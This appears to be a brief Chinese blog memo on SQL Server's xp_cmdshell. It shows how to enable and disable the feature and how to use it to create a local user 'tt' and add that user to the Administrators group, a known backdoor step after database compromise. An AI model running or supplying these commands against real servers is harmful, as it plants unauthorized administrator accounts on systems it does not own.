一直会忘记,现在记下.
exec master..xp_cmdshell 'dos命令'
net user tt tt /add
net localgroup administrators tt /add

2005默认是被关闭的.要这么开
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭的话
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

初学者看到不要学坏 :)

相关文章:

  • 2022-12-23
  • 2021-08-05
  • 2021-06-23
  • 2021-11-13
  • 2021-04-13
  • 2022-12-23
  • 2022-03-03
猜你喜欢
  • 2021-10-18
  • 2022-12-23
  • 2022-12-23
  • 2021-06-21
  • 2022-12-23
  • 2021-12-05
  • 2022-12-23
相关资源
相似解决方案